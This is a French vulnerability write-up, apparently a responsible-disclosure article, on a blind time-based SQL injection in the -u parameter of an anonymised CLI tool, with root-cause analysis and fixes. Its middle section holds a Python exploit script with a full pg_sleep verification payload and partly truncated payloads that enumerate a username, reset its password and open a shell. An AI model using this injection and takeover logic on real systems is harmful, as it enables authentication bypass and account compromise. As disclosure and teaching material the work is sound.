01.le Contexte
Lors d'une évaluation de sécurité sur une solution disposant d'une interface CLI, un comportement atypique a été observé sur le paramètre -u laissant supposer une injection possible via la construction dynamique d'une requête SQL.
- Vecteur : injection SQL via un paramètre utilisateur passé à un outil CLI.
- Type : blind time-based (oracle de temps via pg_sleep()).
- Impact : contournement d'authentification et capacité de modification d'état (ex. changement de mot de passe) selon les droits du compte DB utilisé par l'application.
- Cause racine : construction de requêtes SQL dynamiques par concaténation de chaînes, sans requêtes préparées ni validation stricte des arguments.
- Correctif : paramétrisation (prepared statements), validation de schéma, durcissement des privilèges DB, tests de non-régression AppSec.
La première étape a consisté à établir une référence de temps (baseline) sur une commande légitime, puis à vérifier l'existence d'un oracle de timing permettant de confirmer une exécution SQL contrôlée.
02. Baseline (comportement nominal)
Commande standard (attendue : échec d'authentification). Temps d'exécution typique : ~0,7 s.
03. Validation (Blind Time-Based)
Pour confirmer l'injection sans retour direct (blind), un test de temporisation a été utilisé. L'idée : forcer un délai côté DB et observer l'augmentation mesurable du temps total.
SELECT CASE
WHEN <condition> THEN pg_sleep(<delay>)
ELSE pg_sleep(0)
END;
Observation : le temps passe d'environ 0,7 s à environ 3,7 s lorsque la temporisation est déclenchée → l'injection est confirmée.
04. Stratégie d'exploitation (niveau conceptuel)
Une fois l'oracle de timing validé, la logique d'exploitation repose sur trois étapes :
- Vérifier l'oracle : Condition simple (vrai/faux) → délai mesuré.
- Extraire un indicateur : Énumération par itérations (ex. caractère par caractère) via le délai.
- Démontrer l'impact : Modification contrôlée (preuve) en fonction des privilèges DB applicatifs.
Remarque : si un identifiant “stable” d'un compte privilégié est connu (ex. ID numérique), l'exploitation peut être drastiquement simplifiée. Dans ce write-up, l'approche progressive (blind) est conservée pour documenter la validation, les hypothèses et l'impact de façon reproductible.
#!/usr/bin/python
import os
import time
import crypt
class bcolors:
PLUS = '\033[92m[+] \033[0m'
MOINS = '\033[91m[-] \033[0m'
LETTER = '\033[94m -- [OK] \033[0m'
WARNING = '\033[33m[!] \033[0m'
def ValidOrNot(payload):
time1=time.time()
os.system(payload)
time2=time.time()-time1
if (time2>1.5):
return (1)
else:
return (0)
def VerifVuln():
payload = "cli -u \"cli'; (SELECT CASE WHEN 1=1 THEN pg_sleep(1) ELSE pg_sleep(0) END); SELECT '1:password\" > /dev/null 2>&1"
return (ValidOrNot(payload))
def Attack():
i = 1;
charList = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
print bcolors.PLUS+"Recuperation d'un utilisateur"
user = "";
while i < 20:
for char in charList:
payload = "cli -u \"'; //Payload tronqué, réutilisation possible// /dev/null 2>&1" % (i, char);
if (ValidOrNot(payload)):
print bcolors.LETTER+"Letter Found : " + char
user = user + char
break
else:
if (char=="z"):
i = 20
break
i = i+1
print bcolors.PLUS+"Found User : %s" % (user)
ModifPassword(user)
def ModifPassword(name):
newpasswd = "password"
newpasswdencrypt = crypt.crypt(newpasswd, 'test')
payload = "cli -u \"'; //Payload tronqué, réutilisation possible// /dev/null 2>&1" % (newpasswdencrypt, name)
print bcolors.PLUS+"Modification du mot de passe pour l'utilisateur : " + name
print bcolors.WARNING+payload
os.system(payload)
print bcolors.PLUS+"Le nouveau mot de passe est \"%s\" pour l'utilisateur %s" % (newpasswd, name)
payload = "cli -u %s:%s" % (name, newpasswd)
print bcolors.PLUS+"Get a Shell prompt with : "+payload
os.system(payload)
def main():
print ""
print "######## ## ## ######## ## ####### #### ######## ###### ## #### "
print "## ## ## ## ## ## ## ## ## ## ## ## ## ## "
print "## ## ## ## ## ## ## ## ## ## ## ## ## "
print "###### ### ######## ## ## ## ## ## ####### ## ## ## "
print "## ## ## ## ## ## ## ## ## ## ## ## "
print "## ## ## ## ## ## ## ## ## ## ## ## ## "
print "######## ## ## ## ######## ####### #### ## ###### ######## #### "
print "version 1 by Tybbow"
print ""
print bcolors.PLUS+"Verification de la vulnerabilite"
if (VerifVuln()):
print bcolors.PLUS+"Vuln OK - Attack Mode pg_sleep engaged"
Attack()
else:
print bcolors.MOINS+"Vuln Nok - Exit 0xdead"
return (0xDEAD)
if __name__=='__main__':
main()
05.Root Cause Analysis
La cause racine se situe dans la façon dont l'outil CLI construisait la requête SQL : l'argument utilisateur était concaténé dans une requête dynamique exécutée côté serveur, sans mécanisme robuste de requêtes préparées (paramétrées) et sans validation stricte du format attendu.
Facteurs aggravants typiques
- Absence de prepared statements / paramétrisation.
- Entrée CLI considérée comme “de confiance” → validation faible.
- Privilèges DB applicatifs trop permissifs (dépend de l'implémentation).
06.Impact
- Impact technique : contournement d'authentification et possibilité de modification d'état via le canal CLI.
- Risque : compromission de comptes et pivot potentiel selon les droits et la surface exposée.
Responsible Disclosure :
Vulnérabilité identifiée en 2019 et traitée directement avec l'éditeur. Les éléments présentés ici sont anonymisés et publiés à des fins pédagogiques.